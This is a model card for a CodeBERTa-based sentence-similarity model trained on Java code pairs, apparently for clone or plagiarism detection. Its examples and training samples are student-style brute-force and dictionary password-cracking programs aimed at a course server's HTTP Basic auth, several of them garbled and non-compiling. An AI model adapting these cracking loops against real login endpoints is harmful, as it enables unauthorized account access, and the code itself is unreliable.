bits6 ];\n \n \n out [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n return new String ( out );\n }\n }\n \n \n"
sentences:
- |+
import java.net.*;
import java.io.*;
import java.misc.*;
public class Dictionary
{
public static void main (String args[])
{
String file = "/usr/share/lib/dict/words";
FileReader fRead;
BufferedReader buf;
try
{
fRead = new FileReader(file);
buf = new BufferedReader(fRead);
String Password = "";
int i=0;
while( (Password = buf.readLine()) != null)
{
i++;
String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", Password, i);
}
}
catch(FileNotFoundException e)
{
System.out.println("File not found");
}
catch(IOException ioe)
{
System.out.println("IO Error " + ioe);
}
}
public static String encode (String source)
{
BASE64Encoder enc = new source.misc.BASE64Encoder();
return(enc.encode(source.getBytes()));
}
public static String myurl (String url, String Name, String Password, int val )
{
String thisLine;
String retVal;
URL u;
URLConnection uc;
retVal = "";
try
{
u = new URL(url);
try
{
uc = u.openConnection();
if (Name != null)
{
uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password));
}
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader(content));
String line;
while ((line = in.readLine()) != null)
{
retVal += line;
System.out.println(line);
System.out.println("password="+Password+";number:"+num);
System.exit(0);
}
}
catch (Exception e)
{
;
}
}
catch (MalformedURLException e)
{
return(url + " is not a parseable URL");
}
return retVal;
}
}
- |
import java.util.*;
public class CrackThread implements Runnable {
private String strUsername;
private String strURL;
private int iSeed;
private int iEnd;
public CrackThread() {
}
public void setParams(String url, String username, int seed, int end) {
strUsername = username;
strURL = url;
iSeed = seed;
iEnd = end;
}
public void run() {
Date dtStart, dtEnd;
PasswordGen pwd = new PasswordGen();
PasswordTest tester;
int i=1;
boolean bDone = false;
Result res;
dtStart = new Date();
pwd.setSeed(iSeed);
while(!bDone) {
tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
bDone = tester;
i++;
if(i % 100 == 0)
{
System.out.println(pwd.getPassword());
}
if(bDone) {
res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
System.out.print(res.toString());
}
else
{
}
if( i >= iEnd) bDone = true;
}
}
}
- "\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n private Cracker crack;\n private Vector clients;\n private int num;\n private int bigStart;\n\n public BruteForce()\n {\n int i, j;\n int start, finish;\n start=finish = 0;\n \n crack = new Cracker();\n crack.loadLetters();\n crack.loadPairs();\n crack.loadTriples();\n num = crack.getVictor().size();\n clients = new Vector( num);\n j = 0;\n \n bigStart = System.currentTimeMillis();\n for( i = 0; i < num; i++)\n {\n MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));\n \n clients.add( client);\n\t Thread t = new Thread( client);\n\t t.print();\n j++;\n if(j == 100)\n {\n t = System.currentTimeMillis();\n System.out.println(\"i = \"+i+\" \"+(String)crack.getVictor().elementAt( i));\n finish = t;\n while( (finish - t ) < 1000)\n {\n finish = System.currentTimeMillis();\n }\n j = 0;\n }\n \n }\n }\n \n public void retire(int MyClient2 )\n {\n int bigFinish;\n bigFinish = t.getTime();\n System.out.println(\" It took \"+(bigFinish - bigStart)/1000+\" \"+\"seconds crack password using brute force\");\n System.exit(0);\n }\n \n public static void main (String[] args)\n {\n BruteForce = new BruteForce();\n }\n}\n \n"
- source_sentence: "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper() {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
sentences:
- |
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Dictionary {\n public static void main (String[] args) throws IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\n d = new Date().getTime();\n FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \n int total = 960;\n String[] pws = new String[total];\n int count = 0;\n while (word!=null){\n if (word.length()<=3) { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n }\n catch(IOException e){ System.err.println(e); e.printStackTrace(); } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n System.out.println(\"The successful password was \"+pws[i]);\n finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \n }\n}\n\n"
- " \n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class MyTimer\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\t\tWatchdog watch = new Watchdog();\n\t\tTimer time = new Timer();\n\t\ttime.schedule(watch,864000000,864000000);\n\t\t\n\t\t\t\n\t}\n}\n"
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary\n{\n public Dictionary()\n {}\n\n public boolean fetchURL(String urlString,String username,String password)\n {\n StringWriter sw= new StringWriter();\n PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString); \n String userPwd= username+\":\"+password;\n\n \n \n \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \" + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection(); \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n InputStream content = (InputStream)huc.getInputStream();\n BufferedReader in =\n new BufferedReader (new InputStreamReader (content));\n String line;\n while ((line = in.readLine()) != null) {\n pw.println (line);\n System.out.println(\"\");\n System.out.println(sw.toString());\n }return true;\n } catch (MalformedURLException e) {\n pw.println (\"Invalid URL\");\n return false;\n } catch (IOException e) {\n pw.println (\"Error URL\");\n return false;\n }\n\n }\n\n public void getPassword()\n {\n String dictionary=\"words\";\n String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\";\n String pwd=\" \";\n\n try\n {\n BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));\n startTime=System.currentTimeMillis();\n while (pwd!=null)\n {\n pwd=inputStream.readLine();\n if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n System.out.println(\"Finally I gotta it, password is : \"+pwd);\n System.out.println(\"The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\");\n System.exit(1);\n } \n\n }\n inputStream.close();\n }\n catch(FileNotFoundException e)\n {\n System.out.println(\"Dictionary not found.\");\n }\n catch(IOException e)\n {\n System.out.println(\"Error dictionary\");\n }\n }\n\n public static void main(String[] arguments)\n {\n BruteForce bf=new BruteForce();\n bf.getPassword();\n } \n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public static void main(String args[]) \n {\n String s = null;\n String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n \n String alphabets = new String(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n \n String password = null;\n int len = 0;\n int num_tries = 0;\n\n len = alphabets.length();\n \n \n for (int i=0; i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n for (int k=0; k<len; k++)\n\t {\n try \n {\n \n password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n \n System.out.print(alphabets.charAt(i)); \n System.out.print(alphabets.charAt(j)); \n System.out.println(alphabets.charAt(k)); \n\n \n Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n \n try\n\t\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0)\n { \n System.out.println(\"**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n }\n }\n }\n}\n\n"
- |-
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class BruteForce {
public static void main(String[] args) throws IOException {
int start , end, total;
start = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
int temp1=0;
int temp2=0;
int temp3=0;
for (int a=1; a<=passwordLen; a++) {
temp1 = (int) Math.pow(lettersLen, a);
passwords += temp1;
if (a==2) {
twoChar = temp1;
}
}
System.out.println("Brute Attack " + host + " has commenced.");
System.out.println("Number of possible password combinations: " + passwords);
int i=1;
{
try {
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
if ( i < lettersLen) {
password = letters.substring(i, (i+1));
} else if (i < (lettersLen + twoChar)) {
temp1 = i / lettersLen;
password = letters.substring((-1), start );
temp1 = i - ( temp1 * lettersLen);
password = password + letters.substring(temp1, (+1));
} else {
temp2 = i / lettersLen;
temp1 = i - (temp2 * lettersLen);
password = letters.substring(temp1, (+1));
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
}
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + (i-1));
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
if (i > 1) {
}
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
i++;
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println(", 't connect " + host + ".");
System.out.println("Please check the URL and try again.");
System.out.println("Other possible causes include website is currently unavailable");
System.out.println(" have internet connection problem.");
}
} while(realm != null);
}
}
pipeline_tag: sentence-similarity
library_name: sentence-transformers
metrics:
- cosine_accuracy
- cosine_accuracy_threshold
- cosine_f1
- cosine_f1_threshold
- cosine_precision
- cosine_recall
- cosine_ap
- cosine_mcc
model-index:
- name: SentenceTransformer based on huggingface/CodeBERTa-small-v1
results:
- task:
type: binary-classification
name: Binary Classification
dataset:
name: binary classification evaluator
type: binary-classification-evaluator
metrics:
- type: cosine_accuracy
value: 0.999534450651769
name: Cosine Accuracy
- type: cosine_accuracy_threshold
value: 0.8751956224441528
name: Cosine Accuracy Threshold
- type: cosine_f1
value: 0.9995346672871103
name: Cosine F1
- type: cosine_f1_threshold
value: 0.8751956224441528
name: Cosine F1 Threshold
- type: cosine_precision
value: 0.9990697674418605
name: Cosine Precision
- type: cosine_recall
value: 1
name: Cosine Recall
- type: cosine_ap
value: 0.9999512493871627
name: Cosine Ap
- type: cosine_mcc
value: 0.9990693343726054
name: Cosine Mcc
SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1")
# Run inference
sentences = [
'\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary\n{\n public Dictionary()\n {}\n\n public boolean fetchURL(String urlString,String username,String password)\n {\n StringWriter sw= new StringWriter();\n PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString); \n String userPwd= username+":"+password;\n\n \n \n \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println("Original String = " + userPwd);\n\t System.out.println("Encoded String = " + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection(); \n huc.setRequestProperty( "Authorization"," "+encodedStr); \n InputStream content = (InputStream)huc.getInputStream();\n BufferedReader in =\n new BufferedReader (new InputStreamReader (content));\n String line;\n while ((line = in.readLine()) != null) {\n pw.println (line);\n System.out.println("");\n System.out.println(sw.toString());\n }return true;\n } catch (MalformedURLException e) {\n pw.println ("Invalid URL");\n return false;\n } catch (IOException e) {\n pw.println ("Error URL");\n return false;\n }\n\n }\n\n public void getPassword()\n {\n String dictionary="words";\n String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";\n String login="";\n String pwd=" ";\n\n try\n {\n BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));\n startTime=System.currentTimeMillis();\n while (pwd!=null)\n {\n pwd=inputStream.readLine();\n if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n System.out.println("Finally I gotta it, password is : "+pwd);\n System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");\n System.exit(1);\n } \n\n }\n inputStream.close();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("Dictionary not found.");\n }\n catch(IOException e)\n {\n System.out.println("Error dictionary");\n }\n }\n\n public static void main(String[] arguments)\n {\n BruteForce bf=new BruteForce();\n bf.getPassword();\n } \n}',
'\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public static void main(String args[]) \n {\n String s = null;\n String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n \n String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");\n \n String password = null;\n int len = 0;\n int num_tries = 0;\n\n len = alphabets.length();\n \n \n for (int i=0; i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n for (int k=0; k<len; k++)\n\t {\n try \n {\n \n password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n \n System.out.print(alphabets.charAt(i)); \n System.out.print(alphabets.charAt(j)); \n System.out.println(alphabets.charAt(k)); \n\n \n Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n \n try\n\t\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0)\n { \n System.out.println("**********PASSWORD IS: " + password);\n\t System.out.println("**********NUMBER OF TRIES: " + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println("exception happened - here\'s what I know: ");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n }\n }\n }\n}\n\n',
'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.*;\n\npublic class BruteForce {\n\n public static void main(String[] args) throws IOException {\n\n \n int start , end, total;\n start = System.currentTimeMillis(); \n\n String username = "";\n String password = null;\n String host = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n \n \n String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n int lettersLen = letters.length(); \n int passwordLen=3; \n\n int passwords=0; \n int twoChar=0; \n\n url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();\n \n\n \n String authenticate = ""; \n String realm = null, domain = null, hostname = null;\n header = null; \n\n \n int responseCode;\n String responseMsg;\n\n \n int temp1=0;\n int temp2=0;\n int temp3=0;\n\n\n \n \n \n for (int a=1; a<=passwordLen; a++) {\n temp1 = (int) Math.pow(lettersLen, a);\n passwords += temp1;\n if (a==2) {\n twoChar = temp1; \n }\n }\n\n System.out.println("Brute Attack " + host + " has commenced.");\n System.out.println("Number of possible password combinations: " + passwords);\n\n\n int i=1; \n\n {\n try {\n \n URL url = new URL(host);\n HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();\n\n \n if(realm != null) {\n\n \n if ( i < lettersLen) {\n \n\n password = letters.substring(i, (i+1));\n\n } else if (i < (lettersLen + twoChar)) {\n \n\n \n temp1 = i / lettersLen;\n password = letters.substring((-1), start );\n\n \n temp1 = i - ( temp1 * lettersLen);\n password = password + letters.substring(temp1, (+1));\n\n } else {\n \n\n \n temp2 = i / lettersLen;\n temp1 = i - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1));\n\n \n temp3 = temp2; \n temp2 = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1)) + password;\n\n \n temp3 = temp2; \n temp2 = temp2 / lettersLen;\n temp1 = temp3 - (temp2 * lettersLen);\n password = letters.substring(temp1, (+1)) + password;\n\n } \n\n \n \n authenticate = username + ":" + password;\n authenticate = new String(base.encode(authenticate.getBytes()));\n httpConnect.addRequestProperty("Authorization", " " + authenticate);\n\n } \n\n \n httpConnect.connect();\n\n \n realm = httpConnect.getHeaderField("WWW-Authenticate");\n if (realm != null) {\n realm = realm.substring(realm.indexOf(\'"\') + 1);\n realm = realm.substring(0, realm.indexOf(\'"\'));\n }\n\n hostname = url.getHost();\n\n \n responseCode = httpConnect.getResponseCode();\n responseMsg = httpConnect.getResponseMessage();\n\n \n \n \n \n \n\n \n \n if (responseCode == 200) {\n \n end = System.currentTimeMillis();\n total = (end - start) / 1000; \n\n System.out.println ("Sucessfully Connected " + url);\n System.out.println("Login Attempts Required : " + (i-1));\n System.out.println("Time Taken in Seconds : " + total);\n System.out.println ("Connection Status : " + responseCode + " " + responseMsg);\n System.out.println ("Username : " + username);\n System.out.println ("Password : " + password);\n System.exit( 0 );\n } else if (responseCode == 401 && realm != null) {\n \n \n \n if (i > 1) {\n\n }\n } else {\n \n \n System.out.println ("What the?... The server replied with unexpected reponse." );\n System.out.println (" Unexpected Error Occured While Attempting Connect " + url);\n System.out.println ("Connection Status: " + responseCode + responseMsg);\n System.out.println ("Unfortunately the password could not recovered.");\n System.exit( 0 );\n }\n\n i++;\n\n } catch(MalformedURLException e) {\n System.out.println("Opps, the URL " + host + " is not valid.");\n System.out.println("Please check the URL and try again.");\n } catch(IOException e) {\n System.out.println(", \'t connect " + host + ".");\n System.out.println("Please check the URL and try again.");\n System.out.println("Other possible causes include website is currently unavailable");\n System.out.println(" have internet connection problem.");\n } \n\n } while(realm != null); \n\n\n }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.2589, 0.2759],
# [0.2589, 1.0000, 0.2076],
# [0.2759, 0.2076, 1.0000]])
Evaluation
Metrics
Binary Classification
- Dataset:
binary-classification-evaluator - Evaluated with
BinaryClassificationEvaluator
| Metric | Value |
|---|---|
| cosine_accuracy | 0.9995 |
| cosine_accuracy_threshold | 0.8752 |
| cosine_f1 | 0.9995 |
| cosine_f1_threshold | 0.8752 |
| cosine_precision | 0.9991 |
| cosine_recall | 1.0 |
| cosine_ap | 1.0 |
| cosine_mcc | 0.9991 |
Training Details
Training Dataset
Unnamed Dataset
- Size: 77,328 training samples
- Columns:
text_1,text_2, andlabel - Approximate statistics based on the first 1000 samples:
text_1 text_2 label type string string int details - min: 51 tokens
- mean: 467.45 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 464.45 tokens
- max: 512 tokens
- 0: ~50.00%
- 1: ~50.00%
- Samples:
text_1 text_2 label
import java.io.;
import java.net.;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine())...
import java.io.;
import java.net.;
import java.misc.BASE64Encoder;
public class BruteForce
{
public BruteForce()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter = new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
